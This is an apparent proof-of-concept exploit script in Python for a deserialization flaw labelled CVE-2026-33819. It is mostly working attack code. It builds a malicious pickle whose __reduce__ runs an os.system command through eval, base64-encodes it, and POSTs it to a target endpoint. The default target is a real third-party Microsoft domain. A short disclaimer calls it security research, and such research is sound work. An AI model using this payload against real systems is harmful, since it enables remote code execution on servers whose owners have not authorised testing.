The following code is for security research and authorized testing only.
python
import requests
import base64
import pickle
import sys
# Proof of Concept for CVE-2026-33819
# This script demonstrates how an untrusted deserialization
# vulnerability can be triggered by sending a malicious payload.
class MaliciousPayload:
"""
This class represents a gadget that executes a command
when deserialized. In a real scenario, this would use
specific library gadgets available in the target environment.
"""
def __reduce__(self):
# Execute a simple command (e.g., creating a file)
# Note: Adjust command based on target OS (Windows/Linux)
return (eval, ("__import__('os').system('echo CVE-2026-33819 > pwn.txt')",))
def generate_payload():
# Serialize the malicious object
data = pickle.dumps(MaliciousPayload())
# Encode to base64 to safely transport over HTTP/JSON
return base64.b64encode(data).decode()
def send_exploit(target_url):
payload_data = generate_payload()
headers = {
"Content-Type": "application/json",
"User-Agent": "CVE-2026-33819-Scanner"
}
# Construct the JSON body. The parameter name 'data' is hypothetical.
json_body = {
"serialized_data": payload_data
}
try:
print(f"[*] Sending payload to {target_url}...")
response = requests.post(target_url, json=json_body, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check target for command execution.")
else:
print(f"[-] Server returned status code: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Replace with the actual vulnerable endpoint
TARGET = "https://api.bing.microsoft.com/vulnerable-endpoint"
send_exploit(TARGET)